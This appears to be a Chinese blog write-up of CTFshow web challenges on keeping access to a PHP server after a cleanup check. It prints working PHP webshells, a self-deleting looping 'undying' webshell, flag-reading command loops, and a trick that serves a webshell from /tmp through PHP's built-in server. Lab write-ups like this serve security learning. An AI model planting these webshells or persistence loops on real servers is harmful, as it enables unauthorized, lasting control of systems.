Web打点中的权限维持思路

CTFshow 权限维持

Web670

补充一下PHP中单双引号的区别:

单引号和双引号之间最显著的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。单引号内的内容会按原样打印出来。在大多数情况下,单引号内没有任何变量或转义序列的编译。

但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一点。

通俗一点说,双引号内的内容更加“智能”一点,如 转义符、$_POST[1]只有在双引号内才会被解析

<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
        break;
    default:
        die('params not validate');
}

首先执行ls等命令查看目录

GET: ?action=cmd
POST: cmd=system("ls /");

可以列举当前目录

我们phpinfo一下看php配置。有没有禁用函数。

image-20260302215510870

无禁用函数

尝试写一个一句话木马到当前目录

GET: ?action=cmd

POST: cmd=file_put_contents('1.php','<?php @eval($_POST[1]);?>');

image-20260302215906441image-20260302215906536

发现这里PHP是有文件写入权限的。(写马不要用双引号,单引号原样输出到木马文件中,这里双引号 " 包裹的字符串会尝试解析 $ 开头的变量)

同时补充一个踩坑时候找到的知识点:short_open_tag=off不允许使用代码开始标志的缩写形式( 等简化语法)。

image-20260302220527381

此外,执行check之后,会发现目录下所有文件都被删除了

根据羽师傅对check猜测后执行

echo 'flag{xxx}' > /flag_xx.txt
rm -rf *

以此猜测为基础,维持权限的方法有三

方法一:

利用 rm -rf *的小缺陷,它无法删除点号开头的文件,所以可以写木马到.1.php文件,check后不会被删除

GET: ?action=cmd
POST: cmd=file_put_contents('.1.php','<?php @eval($_POST[1]);?>');

image-20260302221529927

可以发现可以写进去,我们check后试试

可以发现依旧不行

image-20260302221702180

方法二

可以使用不死马将木马写入内存。

<?php
	ignore_user_abort(true);
	set_time_limit(0);
	unlink(__FILE__);
	$file='shell.php';
	$code='<?php @eval($_POST[1]);?>';
	while (1){
		file_put_contents($file,$code);
		usleep(5000);
	}
?>

解释一下不死马(内存马)

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争
GET: ?action=cmd
POST: cmd=file_put_contents('1.php','<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问不死马1.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了

方法三:

如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。

Web677

用前面的payload打不通了

GET: ?action=cmd
POST: cmd=file_put_contents('1.php','<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

image-20260302234322388

发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp除外)

写不了文件就得换一种方法了

GET: ?action=cmd
POST: cmd=system('while true;do cat /f*;done');

while true;do cat /f*;done 是shell脚本的语法,满足条件(true),执行cat /f* 命令。

执行后,直接check,等待一段时间

image-20260302235937532

同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag文件

GET: ?action=cmd
POST: cmd=system('sleep 10;cat /f*');

check后等一段时间就有flag了

image-20260303000503493

Web679

题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗

源码还是一样

image-20260303000637536

如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。

大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。

由于是www-data权限,无法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行的命令的根目录就被当成web服务根目录

GET: ?action=cmd
POST: cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

把木马写入可写目录/tmp下的index.php(默认的索引文件,访问时无需访问同目录下1.php一样加上文件名,访问index.php是直接url/,访问1.php是访问url/1.php)中,然后睡10秒,在/tmp目录下开启php内置服务器。

-t /tmp/:指定 Web 服务的根目录为/tmp(即访问http://服务器IP/会默认加载/tmp/index.php)。

十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令

image-20260303001818646

这份内容是 CTFshow Web670/677/679 的 PHP 权限维持解题思路,核心是触发check(删文件 / 关服务,触发后生成 flag)后,适配不同环境限制维持权限读 flag,核心方法及适配场景如下:

  1. 隐藏文件木马:利用rm -rf *不删点开头文件,写入.1.php木马,适配 Web670(有文件写入权限、check 仅删非隐藏文件),实际测试失效;
  2. PHP 不死马:内存驻留死循环写木马,自删源文件防查杀,适配 Web670(有写入权限、check 不终止进程),Web677 无写入权限则失效;
  3. 如果环境出网,反弹shell
  4. 延时 / 循环读 flag:执行sleep 10;cat /f*或循环读文件命令,利用 check 不杀进程的特点,适配 Web677(无文件写入权限);
  5. PHP 内置服务:将木马写入/tmp,延时 10 秒启动php -S 0.0.0.0:80内置服务,绕过关停的 Nginx/PHP-FPM,适配 Web679(check 关停所有 Web 服务、仅 /tmp 可写、不出网)。

前置要点:PHP 无禁用函数,short_open_tag=off仅支持标准标签;写木马单引号原样输出(首选),双引号需转义$;题目均不出网,反弹 Shell 不可用。

posted @ 2026-03-03 14:20  dynasty_chenzi  阅读(47)  评论(0)    收藏  举报
返回顶端